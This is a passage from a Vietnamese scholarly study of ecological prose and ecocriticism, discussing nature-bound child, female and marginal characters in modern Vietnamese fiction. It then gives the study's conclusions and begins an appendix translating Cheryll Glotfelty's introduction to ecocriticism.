gian”, “những chiếc lá đã làm giàu tuổi thơ” (Tiếng rừng). Sương Nguyệt Minh (Hoàng
165
hôn màu cỏ biếc) đã cho người nghệ sĩ tự chiêm nghiệm tâm hồn mình qua tâm hồn
trẻ nhỏ để thấy rằng, trẻ em vốn gắn bó với tự nhiên, nên có khả năng cảm nhận
những vẻ đẹp tinh tế của cảnh vật mà người lớn, thậm chí đó là người họa sĩ – người
nhạy cảm với màu sắc cũng không nhận ra: hoàng hôn màu cỏ biếc. Trong một truyện
ngắn đầy chất thơ Bầy chim chìa vôi của Nguyễn Quang Thiều, những đứa trẻ ven
sông gắn liền với những chú chim nhỏ: “hai đứa bé cẩn thận quì xuống bên cạnh tổ
chim”. Khi nước lũ đột ngột dâng cao, hai tâm hồn non nớt đầy âu lo: “em sợ những
con chim chìa vôi non bị chết đuối mất.” Nguyễn Quang Thiều nhận thấy khi giao tiếp
với thế giới tự nhiên, những đứa trẻ học được những bài học về tình yêu thương, lòng
dũng cảm trong cái đập cánh đầu đời của những chú chim chìa vôi: “Cuối cùng bầy
chim non đã thực hiện xong chuyến bay quan trọng, đầu tiên và kz vĩ nhất trong đời
chúng”. Mon đã khóc khi nhìn thấy những cánh chim bay lên, đó là những giọt nước
mắt hạnh phúc đầy thơ trẻ nâng niu những vẻ đẹp mong manh của tự nhiên. Vừa
nhắm mắt vừa mở của sổ là một câu chuyện đầy chất thơ về một cậu bé khám phá
thế giới thiên nhiên bằng trái tim hồn nhiên: “Bạn hãy tưởng tượng, một buổi sáng
mờ sương. Bạn vừa nhắm mắt vừa mở cửa sổ và bạn chợt hiểu khu vườn nói gì”. Trẻ
nhỏ có trái tim yêu thương và nhạy cảm với tự nhiên, những cảm giác trong trẻo
nguyên sơ về một sinh thái bình yên. Trẻ nhỏ tìm thấy niềm vui giản dị, thuần khiết
bằng cách hòa nhập với thiên nhiên đơn giản như tắm mưa, như tìm cỏ cho con dế
tưởng tượng hoặc “hái những bông hoa trắng để lên khắp người của mình. Và cứ
thế…nó ngủ. Giấc ngủ đến với nó thật nhẹ nhàng và không hiểu nổi”. Những trang văn
của Nguyễn Ngọc Thuần trong trẻo như cổ tích, một vẻ đẹp thật nên thơ và rất Thiền,
ngưng đọng lại ở khoảnh khắc.
Trẻ em gần gũi với vạn vật. Mỗi đứa trẻ bao giờ cũng gắn bó với một hình ảnh
thiên nhiên: cháu Quznh và con Múc (Con thú bị ruồng bỏ, Nguyễn Dậu), Củi và lũ dê
(Sầu trên đỉnh Puvan, Nguyễn Ngọc Tư), Hiền và lá xạ hương (Tiếng rừng, Hiền
Phương), cô bé và lá sấu (Sống mãi với cây xanh, Nguyễn Minh Châu), Tí “bụi”, cô bé,
Ngổ và con chó (Tí “bụi”, Tre nở hoa, Ả Ìa âu… Quế Hương). Nhân vật bác Hòa (Ngôi
nhà xưa, Đặng Nhật Minh) đã “không lớn lên”, mãi ở tuổi 13 trong một tai nạn ngã từ
cảnh ổi xuống. Nhân vật chỉ mãi là đứa trẻ níu giữ tuổi thơ, gắn bó với gia đình bằng
cây cối – cây ổi là tâm hồn, là kí ức ấu thơ không mờ phai. Chấn thương như một thái
độ khước từ – không lớn để mãi được sống hồn nhiên. Cảm hứng này, thực ra xuất
hiện nhiều trong văn học thế giới. Nhân vật Cosimo trong Nam tước trên cây (Italo
166
Calvino) từ chối cách sống quy tắc, đơn điệu, trói buộc của gia đình qu{ tộc, bằng cách
mãi mãi ở trên cây, từ giã mặt đất như chối từ cuộc sống ngột ngạt của con người.
Cậu bé Peter Pan (Peter Pan, James Matthew Barrie) mãi mãi không trở thành người
lớn, giữ nguyên huyền thoại về ấu thơ trong trẻo trên hòn đảo Neverland.
Người phụ nữ với thiên tính nữ “thiên phú riêng của tâm hồn những người đàn
bà chúng tôi: đó là bản năng chăm lo, bảo vệ lấy sự sống của con người – tình thương
người bẩm sinh của nữ tính” (Người đàn bà trên chuyến tàu tốc hành, Nguyễn Minh
Châu). Người phụ nữ với một trái tim đa cảm bao giờ cũng chăm lo cho cái sự sống
gần gụi, “Đàn bà gần với mặt đất. Đàn bà đồng nghĩa với tự nhiên và dòng đời sinh
hoạt bình dị, phàm trần” (Cơn mưa hoa mận trắng, Phạm Duy Nghĩa). Điều đó tạo nên
một vẻ đẹp nữ tính không trộn lẫn. Thiên tính nữ do vậy hiện lên là vẻ đẹp của sự chở
che: người vợ (Mùi cọp, Quý Thể); cô giáo Thục (Những người thợ xẻ, Nguyễn Huy
Thiệp), người vợ (Giải vía, Hà Thị Cẩm Anh)… Trong Lúa hát (Võ Thị Xuân Hà), người
phụ nữ suốt đời “chỉ mải mê với cây lúa”, chợt nhận thấy đất trời bao la mà gần gũi
kia đã ru chính mình bằng những giai điệu cuộc sống nhẹ nhàng mà tinh tế : “con biết
nghe lúa thở, chúng còn hát nữa. Đôi khi con vỗ về chúng, thế là chúng xanh mướt.
Con biết nếm vị của đất, con yêu mảnh đất của con”. Niềm yêu giản dị với đất đai, cây
cỏ, đã nâng đỡ những phận người bé mọn, khiến họ kiên cường và nhẫn nại hơn
trong cuộc đời vốn cay cực đầy cam chịu của mình.
Cái bản năng chăm lo cho sự sống ấy thường được bộc lộ qua cách yêu
thương, chở che cho những sinh linh bé nhỏ. Ả Ìa âu? của Quế Hương là câu chuyện
về một gia đình bất hạnh: mẹ mất trong một tai nạn giao thông để lại hai đứa con thơ
dại và người cha nát rượu. Một hôm người cha mang về một con chó nhỏ. Con vật
nhớ mẹ, con Mơ chăm sóc nó với một tình cảm đầy tính mẫu : “Con cún rúc đầu vào
lòng con Mơ. Nó túm được chéo áo con bé và khát khao mút chùn chụt. Nó nhớ da
diết bầu vú căng sữa và bộ lông ấm mềm của mẹ. Nó vừa bú áo vừa ư ử khóc…”. Tình
cảnh của con chó đáng thương cũng giống như tình cảnh của hai chị em vậy. Mất mẹ
khi chưa tròn bảy tuổi, con Mơ phải làm mẹ cho con Ngổ đang tuổi bú, bởi vậy, thân
phận của con chó nhỏ khiến con bé cảm thương cho chính thân phận mồ côi của
chúng :“Tiếng mút vải của cún làm con Mơ chạnh lòng. Ngày mẹ nó đi mãi không về,
đêm ấy con Ngổ cũng khóc ằng ặc vì khát sữa như con cún bây giờ. Nó phải đút ngón
tay vào miệng em để cầm cơn khóc (…) Đêm em khóc, nó tha con bé như ếch tha
nhái, đi quanh xóm gọi mẹ về”. Bây giờ nó làm “mẹ” Chả Chìa như đã từng làm mẹ
167
con Ngổ cách đây ba năm. Ngày cún lúc thúc chơi với con Ngổ. Đêm rúc vào lòng con
Mơ bú áo. Nó bú ướt nhè vạt áo và thỉnh thoảng vẫn ư ử khóc vì chẳng có lấy một giọt
sữa ngọt ngào”. Truyện ngắn thức dậy tình cảm của người đọc bởi tình yêu thương
rất dịu dàng và chở che của con bé Mơ với em nhỏ và với con vật. Bản năng biết nâng
đỡ cho những sinh linh yếu ớt của nhân vật là sức nặng của câu chuyện. Đó cũng là sự
nhậy cảm của Nương, Điền (Cánh đồng bất tận – Nguyễn Ngọc Tư), sự dịu dàng trìu
mến của cháu Quznh và con Múc (Con thú bị ruồng bỏ – Nguyễn Dậu)…
Các nhân vật gắn bó với cây cỏ muông thú thường lẻ bầy. Bị đẩy vào cô đơn
(với thế giới người) theo những cách khác nhau của dòng đời đầy bắt trắc, không có ai
chia sẻ hoặc từ chối chia sẻ với mọi người, họ tìm đến thiên nhiên như một nơi để vơi
bớt nỗi trống trải mênh mông trên cõi đời này. Hạn hán đẩy các bạn lên thành phố,
Củi (Sầu trên đỉnh Puvan, Nguyễn Ngọc Tư) đặt tên lũ dê bằng tên những người bạn
và chia sẻ buồn vui với chúng, thậm chí cả khi lũ dê chết cậu vẫn giữ cái đầu lâu dê
bên mình. Ông già trong Cái nhìn khắc khoải chỉ có con Vịt Cộc chuyện trò, tâm sự, giãi
bày để được an ủi. Mẹ cha ích kỉ, tàn nhẫn chỉ lo kiếm tiền và xua đuổi ông nội – người
bạn duy nhất nên cậu bé (Núi lở, Nguyễn Ngọc Tư) suốt ngày chỉ tha thẩn với con
nhồng. Nương và Điền lang thang trên khắp các cánh đồng, không bạn bè người thân,
chỉ có người cha đầy thù hận nên làm bạn với với gà vịt, chim muông, nương tựa vào
tự nhiên mà sống “tự học cách định hướng bằng mặt trời, sao đêm, bằng gió, bằng
ngọn cây” (Cánh đồng bất tận, Nguyễn Ngọc Tư). Muông thú là người bạn thân thiết
của con người – chúng ta đã nói câu đó đến sờn mòn, thậm chí không còn cảm giác về
lời nữa. Thế nhưng, tình cảm của ông Sáu và con bìm bịp trong Biển người mênh
mông vẫn khiến chúng ta cảm động. Lão Sìn sống tách biệt với xã hội xung quanh,
không giao tiếp, chỉ lủi thủi một mình với con khỉ (Lão Sìn và con khỉ, Phạm Xuân
Hiếu). Triết lí “Sống dễ lắm! Hãy nhìn vào mắt trẻ con mà sống”, “cứ để tự nhiên điều
chỉnh là hơn” của ông giáo Chi trong truyện ngắn Sống dễ lắm (Nguyễn Huy Thiệp) là
triết lí rất khó thực hiện, lại có vẻ kì cục so với hệ thống giáo dục chuẩn mực nữa.
“Ông đã làm hỏng toàn bộ phương pháp”, nên ông giáo mới bị cách chức thanh tra
giáo dục. Thậm chí, những nhân vật đó lại có chút gì như gàn dở (trong con mắt của
người xung quanh): bác Thông (Sống mãi với cây xanh, Nguyễn Minh Châu), thầy giáo
(Sống dễ lắm, Nguyễn Huy Thiệp), nhân vật người vợ (Giải vía, Hà Thị Cẩm Anh), Đức
(Thập giá giữa rừng sâu, Nguyễn Khắc Phê)… Tuy nhiên, chính những con người gàn
dở, lẻ bầy ấy lại tạo ra những mẫu nhân cách mới cho nhân văn sinh thái.
168
Nhìn vào lịch sử văn học, những khúc ngoặt của văn học Việt Nam thường
được ghi nhận bằng việc xuất hiện những nhân vật là số lẻ, những thân phận bé nhỏ,
chứ không phải nhân vật trung tâm: văn học cuối thế kỉ 18 đầu thế kỉ 19 quan tâm tới
người chinh phụ, cung nữ, gái lầu xanh, người vợ…; văn học 1930 – 1945 chú ý tới
thân phận của những người nông dân, người phụ nữ bị áp bức trong gia đình và xã
hội, những đứa trẻ… Hiện tại, nhìn vào văn xuôi sinh thái, chúng ta thấy rằng, người
đàn ông gắn liền với lí tính là những người khổng lồ chinh phục tự nhiên bị phê phán
mạnh mẽ. Ngược lại, những con người bé nhỏ biết cúi xuống những thân phận mỏng
manh lại là những người được ca ngợi và như vậy, đó có thể sẽ là hình mẫu của nhân
vật trong tương lai.
Văn học từ xưa đến nay ngợi ca bao nhân vật mang vị thế chúa tể muôn loài
bằng khát vọng chinh phục tự nhiên: từ Prômêtê, Hecquyn, Uylitxơ đến Hậu Nghệ,
Nữ Oa, Sơn Tinh, Ngu công…, từ các nhân vật viễn tưởng của Guyn Vécnơ đến các
chàng trai, cô gái trong những câu thơ: “Đi ta đi khai phá rừng hoang, Hỏi núi non
cao đâu sắt đâu vàng, Hỏi biển khơi xa đâu luồng cá chạy, Hỏi đâu thác chảy cho
điện xoay chiều” (Tố Hữu). Bởi vậy, sự thay đổi trong suy nghĩ liên quan đến con
người với môi trường cần được đổi thay từ chính văn học, nơi thích hợp để phản
biện lại những thói quen của tư duy. Để làm được điều đó, cần xây dựng chủ nghĩa
nhân văn sinh thái (Ecological humanism) trong văn học: con người phải được miêu
tả hài hòa trong chỉnh thể sinh thái, giúp cho tâm hồn con người trở nên phóng
khoáng, rộng rãi hơn, biết yêu thương và san sẻ, nâng lên cái giá trị làm người “có
khả năng giúp con người khám phá thế giới ngoài thế giới của mình, khiến con người
nhạy cảm hơn với tiếng chim ngoài cửa sổ, với tiếng xao xác mơ hồ của chiếc lá lìa
cành, với sự hoàn hảo của tạo hoá đối với mỗi loài và cuối cùng, là niềm kiêu hãnh
thanh cao vì mình là con người, là chúa tể của muôn loài có khả năng chinh phục nó,
bảo tồn nó và ban bố cho nó tấm lòng bao dung chỉ có ở con người!” (Tre hoa nở,
Quế Hương)…
Tuy nhiên, hành trình của những con người có đạo đức sinh thái thường cô
đơn, không chỉ ở những mẫu hình nhân vật dễ tổn thương, nhỏ bé (đã nói ở trên) mà
cả ở những nhân vật dấn thân vì mục đích sinh thái, có sức mạnh và quyền lực để bảo
vệ môi sinh thì hành trình của họ cũng thật đơn độc. Nỗ lực của kiểm lâm như muối
bỏ bể. Những người chiến sĩ nghìn trùng khó khăn trong cuộc chiến bảo vệ rừng, khi
lâm tặc lại thường là người trong nhà, người có chức sắc, lại thuộc chính lực lượng
169
kiểm lâm (Thập giá giữa rừng sâu – Nguyễn Khắc Phê, Giải vía – Hà Thị Cẩm Anh,
Thung Mơ – Hà Nguyên Huyến). Bác Thông suốt đời trồng cây xanh cho thành phố, vậy
mà chẳng thể nào giữ được cây sấu kỉ niệm của khu phố nhà mình. Đến lúc mất cây
sấu thật rồi bác Thông trở thành một con người cô độc, “Lẻ loi, ông bước ra thềm. Rồi
lại lững thững đi ra ngõ. Ông lão đi tìm cây sấu” (Sống mãi với cây xanh). “Anh” có
một tấm lòng tha thiết với thiên nhiên, mê đắm với vẻ đẹp của cành hoa ngọn cỏ, đau
đớn trước sự mất dần của thiên nhiên tươi đẹp, chua chát trước sự tàn phá của con
người đối với tự nhiên, sốt ruột vì sự thờ ơ của những người làm chính sách “Người ta
ung dung trong lúc thiên nhiên vẫn không ngừng biến mất” (Khói trời lộng lẫy, Nguyễn
Ngọc Tư). Anh – Viện phó viện di sản thiên nhiên và con người là một “kẻ nghiện
rừng”, đã làm mọi cách để bảo vệ những cánh rừng vô tội. Thậm chí, hi sinh những
tình cảm cá nhân, nhận lời lấy con gái của thứ trưởng, mong muốn góp tiếng nói để
giữ rừng “Bước vào đường quan trường, Anh muốn đi tắt, muốn chạy mau mau đến
cái ghế viện trưởng, rồi bộ trưởng, Anh sẽ vào hội đồng thành phố, hội đồng trung
ương, Anh sẽ cứu được những cánh rừng bằng tiếng nói của của mình. Anh sẽ giữ
được chúng bằng quyền lực” thế nhưng những nỗ lực của Anh thật cô đơn vô tận
“Anh kêu cứu cho rừng trên tivi, báo chí, trên những diễn đàn, hội thảo, nhưng rồi chỉ
có mình nó nghe, chia sẻ, nhưng chỉ nó nhỏ nhoi thôi thì có ích gì?”. Bởi vậy, nhìn vào
khuynh hướng văn xuôi sinh thái thấy có màu sắc bi quan.
***
Khuynh hướng lãng mạn của văn xuôi sinh thái lí tưởng hóa chính thiên
nhiên, nhưng khuynh hướng ấy đang nhạt dần, thay thế cho cảm quan đạo đức
sinh thái mới của thế kỉ 21. Áp lực chiến tranh đã phai, thay vào đó Việt Nam
đương đại đối mặt với nhiều vấn đề của quy luật về toàn cầu hóa, biến đổi khí hậu,
thiên nhiên, cái tưởng như vĩnh hằng, vĩnh cửu cũng dễ tổn thương như thế nào.
Con người nhận ra chính mình là nguyên nhân của những khủng hoảng môi trường
hiện tại. Do vậy, văn học sinh thái thức nhận rằng không phải thay đổi tự nhiên, mà
chính con người cần điều chỉnh lại hành vi của mình. Từ đó, đề xuất những mẫu
hình nhân cách có đạo đức sinh thái. Con người phải bảo vệ tự nhiên vì đó là chính
môi trường sống, là quê hương, là tâm hồn, là kỉ niệm, là một phần không thể
thiếu của mỗi phận người. Biết thương yêu loài vật để gìn giữ nhân tính, biết lắng
nghe tiếng muôn vật để đối thoại với nó… từ đó tạo ra một môi trường sinh thái
nhân văn làm nền tảng cho sự sống của nhân loại. Tôn trọng quy luật tự nhiên, đó
170
là một vấn đề trang nghiêm vĩnh cửu mà con người không được lãng quên.
171
KẾT LUẬN
1. Trước áp lực của khủng hoảng môi trường toàn cầu, phê bình sinh thái
xuất hiện từ những năm 1970 đáp ứng đòi hỏi thời đại, trở thành một phong trào
nghiên cứu năng động trên thế giới hiện nay. Nó truy tìm nguồn gốc của những
nguy cơ sinh thái mà chúng ta đang phải đối mặt, từ đó đưa ra những đề xuất khả
dĩ từ các nhà xã hội nhân văn để thay đổi các diễn ngôn về môi trường. Phê bình
sinh thái cho rằng nguyên nhân chính dẫn đến khủng hoảng môi trường hiện tại là
do tư tưởng “con người là trung tâm” tồn tại trong văn hóa của loài người là cội rễ
của việc thống trị tự nhiên, bóc lột tự nhiên, coi tự nhiên là những giá trị thực dụng
để khai thác. Từ việc phê phán tư tưởng duy nhân ấy, phê bình sinh thái đề xuất
quan niệm “phương pháp tiếp cận trái đất là trung tâm” để nghiên cứu văn học.
Coi trọng trái đất (sinh thái là trung tâm) nghĩa là cần nhận thức con người chỉ là
một phần trong toàn bộ hệ sinh thái, các thực thể tự nhiên khác tồn tại trong sinh
quyển cũng có vai trò và địa vị chứ không hoàn toàn câm lặng, mất tiếng nói. Con
người xác nhận lại mối quan hệ với thế giới tự nhiên, không phải là thái độ làm chủ
mà là mối quan hệ cộng sinh. Nhận thức điều này không phải là hạ thấp vai trò của
con người, bởi suy cho cùng bảo vệ lợi ích sinh thái là vì sự bền vững của nhân loại.
Cân bằng tự nhiên cũng là đảm bảo cân bằng xã hội, đó là lí do vì sao phê bình sinh
thái “tái kết nối tính xã hội và tính sinh thái”, tích hợp với các vấn đề xã hội như
giới tính, chủng tộc, giai cấp, hậu thực dân… Từ đó, phê bình sinh thái thay đổi
những diễn ngôn viết về môi trường, đưa ra những cảnh báo đồng thời tạo ra
những cách nhìn mới về chủ nghĩa nhân văn, không phải chỉ tôn vinh con người
như chúa tể muôn loài mà nhân văn hóa con người bằng thái độ biết cảm thông
với thiên nhiên, biết cúi xuống những thân phận tự nhiên bị thương tổn, bảo vệ tự
nhiên và yêu quý những sinh mệnh của vạn vật xung quanh.
2. Từ cách tiếp cận như vậy, nhìn vào văn học Việt Nam, chúng tôi thấy đã
xuất hiện khuynh hướng văn xuôi sinh thái. Khuynh hướng ấy thể hiện ở việc đã xuất
hiện các chủ đề sinh thái, có lực lượng sáng tác riêng và có những thay đổi đáng kể
trong những thể nghiệm nghệ thuật vận động về phía sinh thái. Ban đầu, những chủ
đề của văn xuôi sinh thái hòa lẫn vào các chủ đề khác với những nhà văn mà tên tuổi
về sự thành công của họ không gắn liền với mảng đề tài sinh thái. Về sau, phê bình
sinh thái đã được nhận diện rõ rệt qua ý thức sinh thái của nhà văn. Văn xuôi sinh
172
thái có những dấu ấn nhất định vào khoảng những năm 1980, đó cũng là thời kì của
công cuộc đổi mới, Việt Nam bắt đầu tăng tốc về phía nền kinh tế thị trường, những
áp lực của việc biến đổi tự nhiên trong quá trình công nghiệp hóa, hiện đại hóa bắt
đầu xuất hiện. Từ đây, khuynh hướng văn xuôi sinh thái bắt đầu được nhận diện rõ
hơn và xuất hiện các tác giả khá chuyên tâm với đề tài. Xét trong mối quan hệ giữa
con người và tự nhiên, văn xuôi sinh thái Việt Nam đã thay đổi, từ quan niệm “sinh
thái là trung tâm”, các tác giả đã nhận ra thế giới xung quanh có sinh mệnh, có tâm
hồn, có tính cách với đời sống tự tồn của nó. Khi cái nhìn về tự nhiên thay đổi, motif
cốt truyện cũng thay đổi, từ cấu trúc truyện khai thác tự nhiên thành một cấu trúc
đa cốt truyện (motif cốt truyện tự nhiên trả thù, motif về sự cỗi cằn, motif về sự mất
trú ẩn…); hình tượng nhân vật từ con người ngạo nghễ chinh phục, khai phá tự
nhiên thành con người “tội đồ”, nạn nhân của tự nhiên, con người trở nên tha hóa
và bất an. Trong cái nhìn liên văn bản, văn xuôi sinh thái cũng chứng kiến sự thay đổi
về cảm hứng, giọng điệu. Xu hướng mới ấy vừa mang lại chiều kích mới cho văn xuôi
sinh thái về thái độ nhập cuộc, dấn thân của văn học kéo văn học lại gần với những
vấn đề thời sự vừa thể hiện tính dân chủ của văn chương qua những cách tân nghệ
thuật mà văn xuôi sinh thái thể nghiệm.
3.Cảm hứng phê phán là cảm hứng cơ bản của văn xuôi sinh thái sau năm
1975. Phê bình sinh thái chỉ ra căn nguyên của những thảm họa môi trường hiện
nay, nó gắn liền với ý thức về sự phản tỉnh. Khi đối xử với tự nhiên, con người đã
giữ khư khư địa vị thống trị, tự coi mình là chúa tể nên khai thác, chiếm đoạt, đào
phá, chém giết, đối xử bất công và thiếu trách nhiệm với tự nhiên. Điều này gắn
với ý thức về con người “tội đồ”. Nếu không kiểm soát, các nhà phê bình sinh thái
cho rằng nền văn minh của con người là “nền văn minh không thể chế ngự”. Khi
con người tàn phá tự nhiên, cũng là lúc con người phá hủy chính ngôi nhà của
mình. Điều đó trước hết thể hiện qua những thảm họa, thiên tai, những biến đổi
của thời tiết, khí hậu…, chỉ cần một “cái lắc mình” của tự nhiên, con người trở nên
nhỏ bé, đáng thương như thế nào. Tự nhiên thực ra không phải vĩnh hằng, vĩnh
cửu mà nó cũng có sinh mệnh, sống theo những quy luật của tạo hóa, mỗi khi quy
luật đó bị tác động hẳn nó cũng dễ bị thương tổn theo. Con người cần ý thức về
thân phận “nạn nhân” trong mối quan hệ với tự nhiên nhắc nhở nhân loại về địa vị
thực sự của mỗi thành tố trong sinh quyển, biết cách kính sợ sinh mệnh tự nhiên
để yên ổn và hạnh phúc.
173
Khi khái quát chặng đường của văn xuôi sinh thái Việt nam, chúng tôi ám
ảnh bởi con đường đi của văn học Nhật Bản, từ Kawabata đến Oe Kenzaburo, là
con đường từ lãng mạn đến chống lãng mạn, từ mĩ hóa đến nghịch dị. Văn học Việt
Nam cũng chuyển hướng từ lí tưởng hóa tự nhiên, khám phá vẻ đẹp của tự nhiên,
đi tìm cái hùng vĩ hoang dã của miền núi, về nông thôn để rũ bỏ ưu phiền, hoài
cảm về những vẻ đẹp cổ truyền của làng quê Việt Nam sang xu hướng phản lãng
mạn (và trong nhiều trường hợp là cái nghịch dị) với hàng loạt “giễu nhại”: phản
mục đồng, phản đồng quê, phản lãng mạn, chống mĩ hóa… với những mất mát rõ
ràng: mất trú ẩn, mất quê hương, mất quá khứ dẫn tới đánh mất tâm hồn, đánh
mất tinh thần… Phê bình sinh thái chất vấn những diễn ngôn về tự nhiên trước đó
(của văn học điền viên, sơn thủy, lãng mạn…), bóc trần những quan niệm đầy hư
ngụy của việc “trốn vào thiên nhiên”, về vùng nông thôn, vùng hoang dã, nơi hẻo
lánh, chúng ta thực sự “mất trú ẩn”, những miền quê thanh bình đã bị biến dạng
bởi sự biến động của thời buổi kinh tế thị trường.
Phê bình sinh thái có sự giao cắt với chính trị, điều đó khiến cho phê bình sinh
thái thực sự nhạy cảm với các vấn đề thời sự. Đó là lí do vì sao phê bình sinh thái bắt
nhịp với những vấn đề của xã hội Việt Nam đương đại. Trong văn xuôi sinh thái, chúng
tôi nhận thấy có mối liên hệ giữa những vấn đề xã hội và những vấn đề sinh thái: sự
tha hóa của con người trong hành trình bóc lột tự nhiên rồi quay sang bóc lột lẫn
nhau; biểu hiện qua việc áp bức người lao động, bất công với phụ nữ; những vấn đề
của đô thị như ô nhiễm môi trường, sự bất ổn trong vấn đề giải tỏa đất đai…
4. Trước những hệ lụy của đời sống, khi tự nhiên biến mất, con người trở
nên bất an hơn bao giờ hết. Con người đã mất chỗ dựa, cần tìm trở lại trạng thái
cân bằng. Đằng sau cảm hứng phê phán là cảm hứng thiết tha về sự hài hòa. Thực
chất, mối quan hệ giữa con người và tự nhiên là mối quan hệ cộng sinh. Muốn
sống yên ổn và hạnh phúc, phải hòa nhập vào tự nhiên để thanh thản cùng ngoại
giới. Do vậy văn xuôi sinh thái Việt Nam trở lại với các diễn ngôn lãng mạn về tự
nhiên: tái hiện lại các motif xưng tụng đồng quê, xưng tụng chốn ẩn dật, thiêng
hóa tự nhiên, mĩ hóa thiên nhiên… Thực ra, điều này có cội nguồn sâu xa từ văn
hóa Đông phương, từ thái độ hài hòa với cây cỏ của văn học truyền thống. Tuy vậy,
theo chúng tôi, ngưỡng dừng của văn xuôi sinh thái Việt Nam là trở về với chủ
nghĩa lãng mạn. Dù vậy, cũng đã có xu hướng văn xuôi “phản lãng mạn”, từ bỏ cái
nhìn đầy tính huyền thoại về nông thôn, để nhận chân cuộc sống nghèo khổ, vất vả
174
của người nông dân. Từ bỏ cái nhìn đi chiêm ngắm, thưởng ngoạn của kẻ đứng
ngoài để thực sự bước vào lao động. Từ đó, văn xuôi sinh thái ngợi ca những người
gắn với lao động nông nghiệp bằng tất cả sức mạnh, niềm yêu đất đai.
Trước áp lực của toàn cầu hóa, biến đổi khí hậu, văn xuôi sinh thái không
đơn giản chỉ là trở về với chủ nghĩa lãng mạn, mà cần nhận thức sâu sắc về tính dễ
tổn thương của tự nhiên và sự thương tổn ấy không đâu khác mà do con người gây
ra. Do vậy, cảm quan đạo đức sinh thái mới của thế kỉ 21 hình thành những mẫu
nhân cách mới, những người biết cúi xuống những số phận tự nhiên bị thương tổn,
biết chia sẻ cảm giác bị đau với muôn loài, biết lắng nghe tiếng nói từ vạn vật, biết
chia sẻ và tôn trọng thế giới tự nhiên. Những mẫu hình nhân cách ấy không hình
thành từ mẫu người lí trí trung tâm mà thông qua tiếng nói những nhân vật cô độc,
gàn dở, những thân phận bé nhỏ, bên lề lại dễ bị thương tổn như người phụ nữ,
người già, trẻ em, những người mất trí khôn, ngốc nghếch, dị dạng, khiếm khuyết.
Như vậy văn học sinh thái mở rộng nội hàm cho chủ nghĩa nhân văn. Chủ nghĩa
nhân văn sinh thái đề xuất không phải là ca ngợi con người như chúa tể chinh phục
tự nhiên, như những “kiểu mẫu của muôn loài” mà là một thái độ sống mà con
người biết tự thu nhỏ mình lại. Từ cách nhìn này, soi chiếu với cây cỏ muông thú,
phê bình sinh thái đã “đảo lộn” những quan điểm mặc định về những điều vẫn
được xem là độc quyền của loài người để có thể “đứng cao hơn tự nhiên”: tình
cảm, ngôn ngữ, vãn hóa. Kì thực, thế giới muôn loài sống chân thật, an nhiên, bao
dung và tự do hơn loài người. Con người đem lí trí vào mọi loại tình cảm, lấy cái giả
dối làm khuất lấp sự trong sáng của ngôn ngữ… Đối diện với loài vật, con người tự
thấy mình trở nên khiếm khuyết, bất toàn và cô đơn. Do vậy, trở về với tự nhiên là
học cách tôn trọng vạn vật, tôn trọng tự nhiên, điều chỉnh chính thái độ, hành vi
của con người để hướng tới một cuộc sống bền vững, yên ổn, hạnh phúc.
5. Phê bình sinh thái, văn học sinh thái đang là trào lưu năng động trên thế
giới hiện nay. Mặc dù văn xuôi sinh thái Việt Nam đã hình thành một khuynh
hướng, mặc dù phê bình sinh thái đang được dẫn nhập ngày một nhiều hơn và
những ứng dụng lí thuyết để thực hành trong nghiên cứu văn học đã khởi động thì
vẫn phải nhận định rằng, mượn lời của Kate Rigby, dường như cả người sáng tác và
nhà phê bình Việt Nam đều “phản ứng chậm” với các trào lưu sinh thái. Mong rằng
trong tương lai, văn học – nơi bắt đầu của những phản biện với những thói quen;
nhà phê bình văn học – những chuyên gia về ngôn ngữ, điểm nhìn, quan niệm, giá
175
trị… sẽ có nhiều tác phẩm về đề tài sinh thái; phê bình sinh thái sẽ được dịch thuật,
nghiên cứu một cách bài bản và toàn diện để thúc đẩy một tương lai sinh thái
trong văn học. Bởi vì dù chúng ta bận tâm đến bất cứ điều gì của cõi người, chúng
ta vẫn ở trên trái đất; trong mọi mối quan hệ, chúng ta vẫn tiếp xúc với cỏ cây
muông thú, vậy mà trái đất đang lâm nguy, loài vật dần vắng bóng trong đời sống,
con người trở nên bất an trong thời đại văn minh kĩ trị. Do đó, văn học, nơi bắt đầu
của những phản biện với những lối mòn của tư duy cần cất lên tiếng nói của sự
phản tỉnh. Có như vậy, văn học Việt Nam mới tiếp cận được với những vấn đề khẩn
thiết đương đại trong thời đại mà sự khủng hoảng sinh thái trở thành vấn đề
nghiêm trọng toàn cầu. Hết
39

 

 

PHỤ LỤC
NGHIÊN CỨU VĂN HỌC TRONG THỜI ĐẠI KHỦNG HOẢNG MÔI
TRƯỜNG
Bản dịch của chúng tôi lấy từ lời giới thiệu của Cheryll Glotfelty trong
“Tuyển tập Phê bình sinh thái: Các mốc quan trọng trong Sinh thái học Văn
học” do Cheryll Glotfelty và Harold Fromm chủ biên. Cuốn sách này được
công nhận là tài liệu nhập môn của phê bình sinh thái. Nữ sĩ là học giả đầu
tiên nhận được danh hiệu “giáo sư văn học và môi trường” (professor of
literature and environment). Vị giáo sư trường đại học Nevada này là một
trong những người khởi xướng “Hội nghiên cứu văn học và môi trường”,
cũng là một trong những thành viên sáng lập ra tạp chí “Nghiên cứu liên
ngành văn học và môi trường”. Bài giới thiệu cùng với định nghĩa của bà trở
thành kinh điển cho phê bình sinh thái.
Trần Thị Ánh Nguyệt dịch
Nghiên cứu văn học trong kỉ nguyên hậu hiện đại của chúng ta lâm vào
một trạng thái bất biến. Những năm gần đây, dường như, giới nghiên cứu
của Anh đang “vẽ lại những đường biên” để “sắp đặt lại” một cách nhanh
chóng diễn biến của sự thay đổi của lĩnh vực này. Một hướng dẫn có căn cứ
tới nghiên cứu văn học hiện đại gồm 21 bài về những cách tiếp cận phương
40
pháp phê bình của các phương pháp luận và lí thuyết khác nhau. Nó giới
thiệu:
Nghiên cứu văn học ở Anh đang trong giai đoạn thác ghềnh, thỉnh
thoảng mất phương hướng. Không một phương pháp phê bình nào trong
giai đoạn này, từ phân tâm học, phê bình Macxit, tới lí thuyết tiếp nhận và
phê bình văn hóa giữ nguyên sự ổn định; vì vậy không một lĩnh vực nghiên
cứu nào cũng như và nhánh nghiên cứu nào trong lịch sử nghiên cứu văn
học Anh và Mĩ giữ nguyên được khả năng xem xét lại… [Bài luận trong cuốn
sách này] làm sáng tỏ một số điểm mà học thuật đáp ứng được áp lực hiện
tại
(1)
.
Thật kì lạ, trong các tác phẩm được coi là bao hàm đầy đủ sự hiểu biết
của giới nghiên cứu, không có một bài viết nào liên quan đến cách tiếp cận
phương pháp sinh thái để nghiên cứu văn học. Mặc cho sự đòi hỏi của học
